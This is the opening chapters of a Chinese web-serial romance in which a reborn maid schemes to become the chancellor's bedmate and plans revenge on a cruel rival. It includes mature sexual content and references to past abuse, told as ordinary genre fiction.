《通房有孕,清冷相爷日日哄娃宠翻了》 第一章重生,换主 欢娘端着好不容易从厨房那里要来的火盆,一路小跑着,冲进了耳房。 正值雪季,外头风雪实在太大,她刚踩过的脚印很快被大雪再次覆盖。 她把火盆放在床榻边,又急忙扫去头上的积雪。 耳房不大,几步能走个来回。 这里逼仄狭窄,可对于怕冷的欢娘来说,越是狭小的地方,就越保暖。 更何况……今晚很重要,她必须做足了准备。 拍打干净身上的积雪后,她缩在床边,双手放在炭火上,炭火的红光穿透她的手指,衬托的那双白皙纤细的手如烧红的玉一般。 得到了少许的暖气,欢娘的思绪也渐渐飘忽起来。 有些可笑,像她这样生来爹不疼,娘不爱,死后被沉河喂鱼也无人追究的普通人,居然会重生? 还重生到了被老夫人安排给大公子做通房丫鬟的一个月后。 她什么身份呢? 十年前是农家女,因灾荒被爹娘卖给了人伢子,成了奴隶,而后在各大户人家手中被卖了三次,最后一次是十三岁时主家被盗匪灭门。 她运气好,逃了出来,从那以后又成了乞丐,跟别的乞丐在破庙抢地方睡觉,跟狗抢食。 后来又被人骗去给快死的老头做填房,老头看中她好生养,要她生儿子。 可老头上了年纪根本没那本事,不到一年就死了。 她成了寡妇不说,老头那些孩子担心她分家产,想办法要弄死她。 她运气好,逃跑路上遇到从寺庙下来的相爷,被他的侍卫救下,之后就进了相府,成了老夫人院子里,最不起眼的扫地婢女。 这一扫,就是三年。 她本以为就这样本本分分一辈子了,可就在大公子十六岁生辰后,老夫人着急抱孙子,要给大公子安排女人。 大概是扫地的她整天撅着屁股在门口晃悠,嬷嬷看到了她,说她是少有的好孕体质,男人一碰就能怀。 所以老夫人也不管她已经是个二十岁的寡妇了,直接塞给了才十六岁的大公子做通房。 谁知大公子厌恶这样的安排,一气之下居然修书一封离家出走了,她虽进了大公子院里,却没正式见过。 而今晚大公子就会回来,会带回来一个他放在心尖上的女人,一个表面豪爽仗义,内心却阴险狠辣的女人。 她前世就是被那个女人折磨死的。 在那女人和大公子大婚当日,直接将她丢去了京都最下贱的红窑子里,一夜,她都不知道扑在她身上的男人到底有多少个,她就这么被折磨死了。 死后甚至一身衣服都没有,就被丢进了郊外护城河喂鱼。 欢娘紧紧握拳,指甲没入掌心,也不能将她从那屈辱到极致的痛苦中带出来。 如果做不了下等人平安一世,那就豪赌一场,用命作为代价,赌荣华富贵,赌她能将那恶毒的少夫人折磨的生不如死。 - 突然,门哐当一声,被人踹开了。 “来人,快来人啊。” 欢娘回过神来,起身,透过四方格的小窗户看过去。 门外的风雪涌入,离家多日的大公子抱着一个浑身是血的女子,跑了进来。 欢娘立刻往外走去。 一边走一边将身上那破棉袄的纽扣解开,故意将头发也弄乱一些。 假装才从睡梦中惊醒。 可她那妆容,还有衣服,可都是精心设计过的,是花了一个月月钱才搞到的‘狐狸精’装扮。 欢娘匆匆冲进主卧。 才看到大公子,一脸惊恐的跪了地,身上那破棉袄也因为没穿稳,随着跪地的动作,落了地。 “奴婢见过大公子。” 纯白色的中衣松散,遮不住她丰满的身体,赤色的肚兜,两个红色带子从锁骨那里穿到后面的。 越发显得她皮肤白皙,柔嫩。 “快去找大夫。” 萧晋文扫了一眼跪着的婢女,只觉得眼生的很,没见过。 可宁从夏就不同了。 前世的她什么都没做,宁从夏见她第一眼就认定了她是狐狸精,那今生,初次见面,她当然要让她对狐狸精的印象足够深刻。 前世的宁从夏,踩着她的手,狠狠煽她巴掌时,曾失控的差点弄花了她的脸。 “贱婢,克夫的寡妇,淫荡肮脏的身体,你真叫人恶心……” 她失控的怒骂,却藏不住她满心的嫉妒。 所以,欢娘现在弄成这副春光乍现,妩媚如丝的样子,应当很符合她口中的浪荡狐狸精。 “是……是,奴婢这就去,马上去,大公子息怒。” 她假装恐惧的抬头,一眼锁定宁从夏,对视。 眼中特意挤出了两滴水光盈盈的泪珠,只是一直在眼眶里打转,想哭又硬生生的忍住。 俨然像只受惊的小鹿,可怜的好像要哭了。 总要让她看清楚,又浪又骚的贱人到底长的什么样。 奄奄一息的宁从夏眼睛缓缓睁开,放大,褪去血色的脸上满是震惊。 这狐媚子,一副刚见面就受到欺负的可怜样,到底在做给谁看? “咳咳咳……” 就看了一眼,她情绪难以自控,咳嗽不停。 扯动着伤口,鲜血汩汩。 看着她伤口滴落的鲜血,欢娘眼中也闪过一丝妖艳的诡异的红,她兴奋了。 “滚呐,再不把大夫找来,本大公子砍了你。” 这一吐,萧晋文直接急坏了,歇斯底里的大吼着。 “是,是,是……” 欢娘忙垂下头,一副被吓得花容失色的样子,连忙站起身就往外跑去。 提着裙摆,扭着腰肢,一抹洁白的中衣滑落,露出赤色肚兜,迎着风雪就那么跑了出去。 那姿态,自然怎么像狐狸精怎么来了。 她的皮肤简直白的晃眼睛,比外头的雪都白。 宁从夏看了一眼,更加气闷,紧紧的抓住萧晋文的手,用力掐下去。 其实她恨不得给他一巴掌,还骗她他是清白的,那无耻的婢女都浪荡成什么样了? 才看到他回来,不顾天冷,脱光了来勾引?谁家的婢女在雪天穿成那个鬼样子? 而且谁家的婢女身子那么白,看着那么软,腰又那么细,那副身子明明就是……就是专门为了勾引男人而生的。 只这一眼,她就认定他们之间,又怎么可能清白? 她不瞎,全都看得见。 若当真清白,大公子离家这么久,她又怎还会住在这屋里?分明……分明就时时刻刻在等着大公子回来。 她气的颤抖,气血上涌,鲜血从口腔喷溅出来,扯动着伤口,疼的她撕心裂肺。 大公子更着急了,想上去搀扶,却被宁从夏一掌打开,而她也再受不住重伤,晕死过去。 “小夏……” 欢娘出去时,只听到大公子撕心裂肺的大喊,那种担心和恐惧,好像死了人一样。 她勾起一抹得意的浅笑。 初战告捷,她拢了拢身上的衣服,虽然挡不住风雪和寒冷,心却是火热的。 只是……还得再快些,欢娘加快脚步。 她堵在通往长风院的必经之路上。 长风院住着的是相府的一家之主,当今丞相,一人之下万人之上的权臣。 也是前世的今夜,相爷在外应酬时被人下了药,回来后就立刻找了大夫。 可这一夜过后,相爷身边多了一位通房丫鬟,采菊。 既还是得做通房,她为何不……换一个主子? 第二章清冷相爷,绝嗣? 顺利拦截大夫,给他指了路以后,欢娘朝着相爷的院子奔去。 快到时,她又停下把头发揉乱一些,用力掐的自己眼睛水汪汪的,一副我见犹怜的模样。 在院门口,被侍卫拦下后,欢娘行了个礼,柔声缓缓道来。 “奴婢是大公子院里的丫鬟,有重要的事情要和相爷说,劳烦大哥通融。” 一路跑着过来,粗喘着气,小脸通红,最重要的是她那身衣服,单薄的像是被扔出来的。 发丝凌乱,雪白的皮肤,或许是因为太冷,脸颊和鼻尖被冻的通红,水汪汪的大眼睛看着他。 侍卫轻蹙眉,看着怪可怜,但职责所在,还是拒绝了。 “求求您了,大哥,是很重要的事,有关大公子的,奴婢必须见到相爷,当面说。” 欢娘抱着胳膊,冷的瑟瑟发抖,似乎是没办法了,她说不出话来,就那么可怜兮兮的看着侍卫,好像在说,见不到相爷,我是不会走的。 男人天生对弱小的女人就会心生怜惜,尤其是漂亮的柔弱的女人,这话是欢娘在进相府之前,卖她的牙婆子说的。 牙婆子说她有让男人怜惜的资本,这是天赋,不能浪费。 果然,没多久以后,侍卫到底是不忍心了。 “快去快回,通报完就赶紧出来,不得停留。” “谢大哥,多谢大哥,奴婢说完话就出来,绝对不连累大哥。” 欢娘一听,欢欢喜喜作揖。 可就在她冲进去以后。 哪里还有半分刚才的可怜模样? 她扫了一圈,确定当下院里没人,卧房里也没动静,采菊应该还没来,所以她抓紧时间,推开相爷的卧房,就冲了进去。 刚进屋,一股暖气扑来,还有淡淡的冷梅香。 屋里生了炭火,桌上放着一株开的正艳丽的红梅。 欢娘一眼扫去,循着粗重的呼吸声找去,只见相爷靠在软榻上。 褪去了外衫,他无力的瘫软在榻上,一只手抵着额头,微闭着眼,呼吸急促。 一身黑色锦缎中衣,没有多余的刺绣,只在袖口绕了一圈金丝,更增添了几分贵气。 墨发扑在雪白的软榻上,这般慵懒肆意的相爷,欢娘从未见过,一时有些愣神。 她在老夫人院子里扫了三年地,见相爷的次数一巴掌就数的过来,印象中他总是锦衣劲装,盛气凌然,威仪赫赫,那股身居权柄之巅的倨傲与冷肃,压得人俯首躬身,不敢仰视。 她从不敢正视相爷的脸,竟不知……他如此好看。 相爷正值壮年,虽名声赫赫,令人胆寒,但他也才二十八而已。 “快一些,给本相施针。” 他未睁眼,似是感受到有人来,以为是大夫。 一开口便带着几分不容人反抗的威亚,只是因药效,声音多了几分沙哑和隐忍。 欢娘回过神来,知道相爷认错了人,但她也不吭声,挪着小碎步靠近。 也没个缓冲,直接就抓住了他的手。 好宽厚的大手啊,而且此刻滚烫,她两只手才勉强能抓稳。 “唔……” 萧怀停好似难受,被这一抓,柔软冰凉的气息从掌心处袭来,他皱了皱眉,这哪里像是大夫的手? 只是此刻他有些神志不清,并未多想。 萧怀停舒适了一刻,更多异样袭来,让他更加不适。 只觉得这药效比刚才更猛烈了些。 他只以为大夫是要诊脉,并未多言。 可很快那双柔软的手在他手上摸了又摸,好像在探索什么。 冰凉的触感从指尖一点点往上,触及掌心时,顺着掌心的茧又徘徊了一阵,好似是在丈量他的掌心有多大? 这样清晰的认知让他觉得诡异,随后那手就从掌心爬向了手腕,一点点的往袖口里伸去。 一股热气从腹部涌上,透过胸腔,直击脑部,他越发的昏沉。 察觉不对劲的他睁开了眼,只见一双透着水光的眸子就这样撞进了他眼里。 带着七分的担心,还有三分掩盖不住的害怕和恐惧。 不等他甩开,丫鬟就先开了口。 “相爷,您是不是发烧了?好热。” 她的声音就如她的手一般,好像清泉一般浇灌在他即将烧毁的理智上。 他清醒了片刻,但又因为这片刻的压制,火势再起来时,越发猛烈。 欢娘僵住,没敢动。 哪怕相爷只是眯着眼睛的随意看一眼,都让她慌的不知所措。 明明都想好了要怎么做,可这刻,她脑子有些空白。 手也不受控的颤抖起来。 不能放过机会,欢娘咬紧牙关。万一相爷缓过神来将她撵出去呢? 她立即大着胆子就这样从他身侧站起身,弯下身子,欲探他的额头。 才起身,她脸就红了。 她是有意为之,当然知道相爷会看到些什么。 松散的衣服本就遮不住什么。 她也没想遮,本就是冲着勾引人来的不是?她还担心角度不好,他没看着。 萧怀停还没来得及斥责,将人撵出去,先扑来的是她身上淡的好似不存在的野蔷薇花香。 入眼能瞧见的,便是她那肚兜都遮不住的春光。 赤色肚兜绣着白色蔷薇。 那花开的很艳丽,让人忍不住想狠狠的揉碎。 萧怀停呼吸急促,正要将人推开时,欢娘便直接倒在了他怀里,一声惊呼,好似是摔倒了。 “相爷恕罪,奴婢不该……” 可话都没说完,她的手便被紧紧拽住,力道之大,仿佛要将她捏碎。 她还来不及求饶,下巴就被他箍住。 他手指在颤抖着,全身紧绷,却强迫她靠近他,好像是要看清楚,她是谁。 “府上的?” 灼热的气息喷洒过来,欢娘的心更慌了。 她以为经历了生死,就没什么可怕的,大不了就是一死,可此刻,近距离下她被相爷的压迫逼的慌乱,甚至想这么晕死过去。 可……前世有大夫给了解药,他还是用了采菊,有了通房丫鬟。 实在没理由她现在把大夫支走了,在不给解药的情况下,相爷还能不碰她。 所以,千万要忍住,不能被吓晕。 欢娘请咬着唇,默默下定决心。 却不知,此刻她多细微的动作,萧怀停都看的十分清晰,见那娇嫩的唇被她轻轻一咬就变了形。 萧怀停极力把冰墙一层层砌起来,却因她一个动作,失了神,里面的火焰持续攀升。 他的理智和欲望交战,在脑海里直接炸开。 “说话。” 他全身发烫,气息灼热如炭火一般,可吐出来的字却那么冰冷,像是尖刀对准了她的心脏。 欢娘吓的大脑一片空白,用尽力去才从喉咙里溢出一个字。 “恩。” “名字?” 相爷的声音似乎更加沙哑,她甚至看到他喉结滚动。 他盼望着她开口。 “欢……娘。” 就只是这样一声,才从喉咙溢出,之后的事情,便不再受她控制。 相爷将她压在软榻上,扯去碍事的衣裳。 第三章睡完不认人 没有半分怜惜和柔情,她被剥的精光。 灼热的手团着柔软,她真的就只是个当解药的工具人。 里里外外,像是被火烤了一遍又一遍。 强势的闯入,撞的她都快破碎了。 “相爷,奴婢……求求您,轻点儿……” 她忍了又忍,最后疼的受不了,哭着求饶。 可换来的却是更强势的侵占。 屋内的热度持续攀升,好像要把人烤焦才肯作罢。 几近天亮。 萧怀停回过神,借着烛光看到身上无一处完好已经昏睡过去的欢娘,以及床上那抹艳丽的红。 他并非毛头小子了,府中还有两位姨娘,他自问对这方面的事不算热衷。 可昨夜……大抵正是被那药控制了理智。 萧怀停深思后,决定还是要给这叫欢娘的丫鬟,一个交代。 天亮后,相爷身边的侍卫萧一打探清楚消息后,回来了。 本就是府中的丫鬟,无须费力,来历全部盘查得一清二楚。 只是这欢娘的来头,倒让他惊了。 被继子扔出门的寡妇?大公子的通房丫鬟? 萧怀停不禁蹙眉,一股戾气从内而发。 任何一个身份,都让他十分不喜。 可一想到昨夜,那身子…… 萧怀停喉间发紧,只觉得好不容易缓解的身体却又多了几分燥热。 “主子,大公子那边……其实没见过欢娘。” 萧一跟在主子身边多年,自然知道他这是动了怒。 而昨夜屋里那动静,守在外院的人都听的清清楚楚,可不小啊。 爷他何时如此失控过? “昨夜她为何出现在本相院中?” 萧一深吸口气,看爷不高兴,只是老老实实交代“听闻,昨夜大公子带回来一女子,受了重伤,把欢娘扔了出来,让她去找大夫,咱们请来的大夫便被她叫去了大公子院里,再后来……应当是跑过来禀报主子,大公子回来了。” 萧怀停这才忆起,昨夜她来时,衣裳单薄,若不是如此,他也不会立刻失了神智。 不是蓄意勾引,只是巧合? “这些年她与府外哪些人接触过?查一查。” 萧一愣了一下。 “是。” 痛,快痛死了。 欢娘有意识以后,睁眼第一件事就是找人,床上不在,屋里也不在,相爷他就走了吗? 她有些气恼自己的不争气。 然后强忍着下半身的疼痛,费力的从床上爬起。 一着地,两腿站起来时,就止不住的颤抖着,疼的她眼泪自己冒出来。 还有腰,好像被撞断了一样,使不出一点力气。 爬床是成功了,但好痛苦。 而且被撞成这样,她能怀孕吗? 只怕是本来有机会的,都被他撞碎了吧。 她忍不住在心里碎碎念,怀孕才是最要紧的。 就在这时,门开了。 一夜的大雪后,今日一早阳光份外明媚。 只是再明媚也挡不住相爷那摄人的气场。 原本就腿抖的欢娘下意识要行礼,却没站稳,直接跪在地上。 “奴婢参见相爷。” 面上害怕紧张,但她心里却有些惊喜,太好了,他人还在。 而且看他穿着的是黑色锦缎常服,也尚未束冠整理,想来起来也没多久吧。 她得抓住机会,先把通房的身份弄到手。 “不舒服?” 萧怀停注意到了她抖成筛子的腿,眸色加深。 就不由得多看了一眼。 身上套的是他昨夜扔在一旁的黑色寝衣,而她自己的,碎成几片,就连那赤色肚兜都被扯坏。 那寝衣宽大,显然她没能穿好,这一跪,春光显现大半,黑衣下她的皮肤如玉一般白。 因为没穿肚兜,又是以卑微的姿态跪在那儿的。 松散的长发肆意铺散开,有的还钻进了衣服里。 引诱着他去看那些昨晚他失控后留在她身上的印记。 萧怀停还从未见过哪个女子像她这般放荡又大胆的,感觉到喉间干涩时,不禁沉了脸。 正要训斥,却又想到,是昨夜他失手才弄的她没衣服穿,若是斥责,难道要让人家光着站在他面前,才不算放荡吗? 再者,区区一个丫鬟,他何必这般关注? “起来说话。” 他冷着脸,面无表情的走到桌边坐下。 欢娘应下后,强忍着头疼痛站起身,低着头,小步走到桌边给相爷倒茶。 穿的没个人样,但动作却谨小慎微的,不敢有任何错处。 “你是大公子院里的?” 欢娘心里一紧,相爷这样问,定是提前打听过了。 “回相爷话,奴婢是老夫人指给大公子的丫鬟。” 既然他知道,那她就不能解释太多,否则会让相爷怀疑自己一早就有所谋。 半晌,相爷冷着一张脸都未再有只言片语。 欢娘低着头不敢有动作。 心中也愈发的惴惴不安。 “既是大公子那边的,那便回去伺候着。” 欢娘蓦然怔住,诧异的看向相爷。 凉意从脚底滋生,冻的她全身冰冷。 “求相爷饶命,是奴婢该死,昨晚奴婢不该过来,可奴婢已经是相爷的人了,求相爷给奴婢一条生路。” 她已经伺候过相爷了,哪里还有回到大公子身边做通房丫鬟的理? “生路?你要的生路,可是留在本相身边?” 相爷那冰冷的语气都透着一丝杀意。 她怕,可也只能硬着头皮求情。 “请恕奴婢大胆,除了您这里,奴婢……已经无处可去了,求相爷收留。” “收留你做什么?难道说是昨夜本相看着你在院中扫地,觉得你能干,非要从大公子院里要扫地的婢女?” 相爷带着嘲讽的口吻,就跟冰渣子一样。 就好像是在嘲笑她愚蠢的算计和筹谋。 还嘲讽她的不自量力,她区区一个丫鬟,也配让相爷为了她,和儿子心生嫌隙? 有一瞬间,欢娘觉得相爷已经将她看穿了。 她慌了神。 “奴婢……” “还是说,你本意便是让我们父子为你反目成仇?” “奴婢不敢。” 他突然的质问,吓得欢娘腿软,跪都跪不好,后背惊出了冷汗。 当下哪还顾得了别的,只有一个念头:保命要紧。 “奴婢绝对没有,奴婢发誓若存有一点点害相爷的心思,就被天打雷劈,不得好死。” 欢娘掷地有声,却欲哭无泪。 因为她知道,这次爬床,是失败了。 “既没有,那便回去。” 相爷冷漠的再次开口。 欢娘有些懊恼,更多的是失望。 相爷就没想过,要她吗? 可为什么她会失败?难道是相爷对昨晚的伺候,不满意? 第一次她确实经验不足,看来回头还是要找避火图,多看看? 欢娘见没了转圜的余地,只能无奈先妥协。 她咬着牙,重重的磕了个响头,然后眼泪婆娑的抬头,带着怯意和决绝,看着高高在上的相爷。 第四章刁奴找茬,大丫鬟心比天高 “相爷吩咐,奴婢不敢不从,只是……奴婢已是相爷的人,断不敢再伺候大公子,若真到那一日,奴婢定以死谢罪,绝不脏了相爷的眼。” 心里却在想,没关系的,爬了一次,还能没有第二次吗? 只是在萧怀停眼里,欢娘是带着视死如归的绝望以及恐惧的。 就像是一朵柔弱无比的小白花,根本经受不住任何风吹雨打,却被逼迫站在了风口。 明知会被折断脊梁骨,却依旧迎风站立。 萧怀停看着她这副神态,倒是有些意外,居然没有趴在地上苦苦哀求?反而是生出了几分骨气? 可,一个奴婢的骨气又能有何用? 生来就卑弱,生出的骨气不是她的优势,反而是催命符,不过是让她多吃些苦头而已。 她是有些小聪明,也懂规矩,会察言观色,但终究还是愚蠢。 欢娘是在一个时辰以后离开长风院的。 没能如愿成为通房。 可似乎也不是一无所获啊。 萧一奉王爷之命,给她送了二百两白银,外加一套干净的婢女衣服。 那银子,沉甸甸的。 说来她也真是很没出息,前世今生,手里还从未揣过这么多银子。 她不禁回想起,当初可是相爷在寺庙山脚下救了她一命,如今又是她摆脱苦难的希望。 出手又这般大方,睡一次就二百两。 她可真的诚心的想将他视为自己的神佛,潜心供奉着了。 足足二百两啊,欢娘想着,有了它,她能做的事情可就太多了。 在下人的圈子里,想要机会,是要靠着银子,一点点的收买人心,买机缘,千辛万苦才能得来的。 书房内。 萧怀停已经再次恢复了那清心寡欲的冷淡模样。 “爷,已经照着您的吩咐,派人盯着欢娘了,她若胡言,便就地处置,绝不会坏了爷和大公子的父子关系。” 萧一进屋禀告,眼中划过一丝可惜。 毕竟他是真的看好欢娘,可没想到爷这般防着人家。 萧怀停点点头,眼中波澜不起。 那丫鬟跪在他面前发过誓,绝不会伺候大公子,可一个丫鬟的誓言,怎可轻信? “爷若有这样的忧虑,何不直接把人圈在这院里,她出不去,便什么也做不了。” 萧一觉得这样好麻烦。 还不如圈在这里,看看她能不能给爷生孩子,万一真有意外之喜呢? 现在要赏赐白银,又派人盯着,区区一个丫鬟而已,何须如此费心力? 他主子培养的暗线,居然还这样用? “给了她银子,她若识相,就该找机会离开相府。” 萧怀停冷声道。 萧一微愣,惊讶的看着爷,道“您还真是菩萨心肠。” 话音一落,萧怀停冰冷的目光扫过去。 萧一立刻识相的闪退。 他好似全神贯注的在阅书,却不由得思量起欢娘一事。 若她真是无辜的,昨夜平白受了委屈,就让她带着银子离开,也能安顿后半生。 可若她算计太深,因她而父子反目,那她就该死,那笔银子权当是她的买命钱了。 欢娘可没法考虑相爷的‘用心良苦’,才刚进院子,一盆雪就朝着她面门袭来。 她连忙转身躲开,到底还是被弄脏了衣角。 相爷赏赐的那粉色棉袄到底是沾了些泥巴水,裙摆脏污一片,浸透了棉布裙,碍眼极了。 “你这偷懒耍滑的玩意儿,干活的时候不在,现在干完了你才出现?怎么还想着现在去大公子面前邀功不成?” 站在她面前的冯婆子,一手拿着簸箕,一手叉着腰,看见是她就破口大骂。 她是大公子院里专管杂活的管事,也是这里最不待见她的人。 前世她可是宁从夏身边的得力助手,每次欺辱自己,都有她的份儿。 要不,报复就从她开始? “扫雪这样的功劳,奴婢可邀不得,冯婆莫不是忘了,奴婢是大公子的通房,职责是伺候大公子的饮食起居。” 她脸上挂着一抹浅笑,语气温柔。 “这些杂活不是冯婆分内之事吗?莫不成冯婆是觉得自己将地扫的极干净,想去邀功?那奴婢进去时,定要为冯婆美言两句,告诉大公子,您老人家可会扫地了。” 说着,她便要绕过冯婆往寝卧那边走去。 冯婆震惊了,她没想到平日里总是低眉顺眼,骂死她都不抬头不反驳的欢娘,居然变得这样牙尖嘴利,还嘲讽她? 看她要走,就立刻拦下。 “好阿你,说你两句你还学会顶嘴了?是不是觉得大公子回来就能有人给你撑腰了?” “你可别忘了,大公子就是因为讨厌你,才在你进院子那天离家出走的。” “也不看看自己什么德行,年纪大,还嫁过人,若不是老夫人恩赐,你这辈子都只配在外院扫地。” 冯婆愤怒的嚷着,唾沫星子横飞,那表情恨不得把欢娘给生撕了。 可欢娘却依旧一脸平静,甚至是那冷淡的笑更深了几分。 “冯婆说的极是,所以奴婢可不就是命好吗?被老夫人选中,可怜了月莹姐姐,生的花容月貌,又是大公子的贴身大丫鬟,却没这样的机会。” 那月莹是冯婆的女儿,十六岁,但在这院子地位高,同辈的丫鬟见了她,都得尊称一声姐姐。 “莫不是命不好?您生她时没算好时辰,害了她一辈子?不如去庙里,为月莹姐姐祈福祷告,找算命先生看看,可有改命的机会?” 欢娘语气温柔,却处处在戳冯婆肺管子。 她之所以针对欢娘,就是觉得欢娘抢了她女儿通房丫鬟的位置。 只见她青筋暴露,圆眼怒瞪着欢娘,一口气提上去要骂人,却被气的凌乱。 “你……” “月莹姐姐,可是要送药进去?不如让我去阿?” 冯婆指着她,手都在颤抖。 可却见她看向了她身后,而且眼中明显划过一丝算计的光茫。 简直岂有此理,算盘响的都蹦到她脸上了。 “听闻你昨夜被大公子撵出了房间,你又何必再到他面前,惹他生厌呢?” 冯婆就要骂,月莹就走了过来,说话时温软冷静。 她一身宝蓝色棉袄,皮肤雪白滑嫩。 发髻梳得一丝不苟,以两支赤金点翠步摇绾发,步摇上的翠羽色泽鲜亮。 鬓角还簪着两朵蓝白相间的绒花,花瓣饱满,衬得眉眼愈发温婉清丽。 耳上坠着一对小巧的珍珠耳铛,珍珠颗粒均匀,莹润有光。 眉眼间带着大丫鬟特有的沉稳端庄,一身打扮既守了丫鬟的等级规矩,又处处透着主子赏赐的体面与奢华。 她目光平静,深藏着一丝鄙夷,根本就没把欢娘放在眼里。 第五章找老夫人做主? “纵使被骂,奴婢也还是要进去伺候的,这是奴婢本分,否则……冯婆只怕又要指责奴婢偷懒。” 欢娘低声解释,故作害怕的样子。 月莹面露不耐,暗暗瞪了眼自己的母亲。 “大公子带回来一位姑娘,需要衣服,你去绣房说一声,让绣娘过来量体裁衣,另外去老夫人那边问问,是否要给那姑娘安排住处,我们也好做准备。” 她冷着脸吩咐欢娘。 通房丫鬟这名头只是好听,但除了陪主子睡觉,也只是个普通丫鬟,论身份,大丫鬟和这冯婆都要比她高。 “是,奴婢这就去。” 欢娘接了任务,转身便走,干脆利落,都让人忘了她前一刻好像还想抢走月莹手里的汤药去献媚。 从一开始她就没想进去,但她知道如果是她自己不去,冯婆必定要仗着她地位高一些来找茬。 抓住一点错处就要罚她扫地,劈柴什么的。 倒不如她假装要献媚,让母女俩自认为是她们合力将自己撵走的。 免了被冯婆找麻烦。 而且月莹必定要亲自送汤药,去侍奉大公子,当着宁从夏面前晃阿晃,以宁从夏那令人发指的小心眼,就只会招来她的嫉恨和不满。 当然,若是月莹感受到了危机,忍不住向大公子献媚,那就更好。 她们俩狗咬狗,必定精彩。 去了绣房,欢娘找到丽姑姑说清楚做新衣服的事情。 然后直接塞了二两银子到丽姑姑手里。 “烦请姑姑帮忙,帮我采买两块上等的锦缎,我想做两套小衣。” 欢娘凑在她耳边低语,一副羞答答的表情。 丽姑姑是绣房的管事嬷嬷,负责整个相府的衣服,她的女儿也是绣房最厉害的绣娘,手艺了得。 以前欢娘在老夫人院中时,帮着小姐妹来这里送过东西,所以算认识。 丽姑姑这人,小姐妹说过,她很不错。 私下她们可以随意些,不必太守规矩。 丽姑姑是知道她性子的,沉闷又软弱,见了人能躲就躲,这会儿看着白银,有些错愕。 她竟是主动求着帮忙了?而且出手还这般大方? 两匹锦缎也不过一两银子,余下的可不就是孝敬她的吗? 但转念一想,如今大公子回来,她作为通房,确实应该花心思得大公子喜欢。 欢娘虽然年岁大了些,但那身子却是整个相府的丫鬟都比不得的。 丰满妩媚,走起来路更是别有风情。 若打扮起来,定十分惹眼。 可平日她都灰扑扑的……丽姑姑定睛一看,这才发现今日的欢娘穿了一身粉色棉袄,未施粉黛的脸也透着水润的红。 这般光鲜亮丽,倒是让她眼前一亮。 但最为关键的是她很清楚老夫人有多想抱曾孙子,倘若她真的得宠坏了孩子,必定是母凭子贵。 “能有这心思,也算是不辜负老夫人的良苦用心。” 要是以前,丽姑姑见了她都懒得说话。 可今日她总觉得这丫鬟是变了,总算活出了一点生气。 “奴婢只盼着能为老夫人解忧,所以必定是要尽力的。” 欢娘羞涩的点了点头。 脸上也带着一丝忐忑和期盼,只是她期盼的那人,是相爷。 “明日下午过来取,看你平日里总是素着,胭脂水粉可要一些?一并给你买些回来?” 既然是要去讨好大公子的,当然要从外到里,都精致些。 这话倒是提醒了欢娘,让她想起以前被卖给富商老头时,那老头家里就是做香料,做胭脂水粉的。 因老头不行,又不想白养着她,所以就让她学习调香,好为家里赚钱。 她倒是学了些技能,只是前世她只想本分的扫地,压根没想动这些心思。 当即她就再掏出了五两银子。 丽姑姑惊呆了。 “你这……” “以前存起来的月银,一直没舍得用,要辛苦姑姑,帮我才买些东西,我要自己调。” 哪个丫鬟出手能这么大方的?尤其是她这么个孤苦无依,还只是干粗活的,就更没钱了。 但前世她一心要存养老钱,平日很节省,舍不得花,所以抛开相爷给的这二百两,她自己也有二十两的积蓄。 拿出这笔钱来,也不会被人怀疑。 “自己调?你会吗?若是调的不好,还不如多花些银子,买点好的,倘若你得了大公子宠爱,日后也有些打赏……” 丽姑姑知道她素来节俭。 以为她要调香是为了省钱,可大公子身份尊贵,什么好东西没见过?她若调不好,回头出丑的是她。 “姑姑,我想自己调。” 欢娘也没解释。 误解了不要紧,回头姑姑一用,便会知晓。 见她坚持,丽姑姑也没好再说什么。 两人的关系还没亲近到非要为她操心。 欢娘见她绣盒里放着一个很精巧的荷包,又夸赞一番,想买下。 但丽姑姑说那是用碎布绣的,本也就是为打发时间,她若喜欢,就送给她了。 她一下收了她七两银子去办事,这油水都能捞不少,还在乎一个小荷包吗? 欢娘高兴的道了谢,又一脸真诚的夸了丽姑姑两句,这才离开绣房。 老夫人的静安堂,那是她最熟悉的地方了。 外院那青石板路她不知扫了多少回,光是踩上去,都和她有感情了。 仆人带领下,她进屋拜见了老夫人。 屋内有淡淡的香火气息,老夫人撵着佛珠,面向温和慈善,看着就是宽厚的主子。 但欢娘可不敢冒犯,进屋后恭恭敬敬的行了礼,跪好。 她曾听小姐妹说过,老夫人前些年手段凌厉,可不是好惹的主。 直到相爷被诊断出绝嗣,她一夜之间就变了。 摘掉金钗翡翠,褪去华贵衣服,从此低调朴素,一心吃斋礼佛,求子。 以至于欢娘现在一看到她,就觉得老夫人眼中都写着‘求子’二字。 “是欢娘阿?昨夜晋文回来,怎不见你在旁伺候?” 老夫人撵着佛珠,柔声问道。 欢娘记得前世大公子回来这晚,闹的惊天动地,老夫人是亲自过去的。 可今生她跑去相爷身边了,昨夜自然是不在。 但她没想到老夫人竟这般关注。 但若老夫人这般注意她的动向,或许是好事。 她灵机一动,心里有了算计。 “回老夫人,奴婢昨夜去请了大夫,后来又去长风院禀报相爷大公子回府一事,回去时,就有些晚了。” “你昨夜……在相爷身边?” 老夫人一听这话,停下了手上动作,微眯的眸里闪过一丝凌厉的寒光。 那种威压,欢娘今早才见识过。 若回答‘是’,老夫人必定会去查,她自己调查清楚,总比她主动交代的好。 相爷不要她,但她笃定,若老夫人知道她和相爷睡了,是会留着她的,因为她有好孕体质。 运气好,或许还能被老夫人送到相爷院里去。 可就在她要说话时,门外家丁来报。 “老夫人,相爷来了。” 第六章相爷,你是绊脚石吗? 话音刚落,她便感觉自己身后,那门外好像有一座冰山,正朝着她靠近。 欢娘脸色一变,本能的把自己蜷缩起来。 移动的冰山,走了进来。 “儿子见过母亲。” 那声音平静又冰冷。 欢娘却吓得不敢动弹。 “听你府中侍卫说,昨夜你生了病,那便好好休息,怎还过来?” “已经无碍了。” “晋文回来了?” “是阿,想来是在外头受尽了苦楚,现在知道还是家里好,他既知道回来,你也别太苛责于他……” 母子俩这样闲聊着。 欢娘见没自己什么事,想默默退出去,屁股已经悄悄的抬了起来。 “听你方才所言,昨夜在我院里等了一夜的丫鬟,是你?” 可相爷却突然提起了她。 眸光凌厉,漫不经心的语调里,听不出什么情绪,好像欢娘在他眼里,就是个陌生丫鬟。 你院里?等一夜? 这是要完全否认昨晚睡过的事实阿。 欢娘瞬间心死了,不仅仅是因为相爷极力要撇清关系,还因为刚才自己故意在老夫人面前提起见过他。 相爷一定是知道了她的小心思。 “是奴婢。” “叫什么?” 他就是明知故问,装不认识装的十分彻底。 “回相爷,奴婢欢娘。” 可气的是她知道相爷这是做给老夫人看的,但还得这样配合他,断了自己的后路。 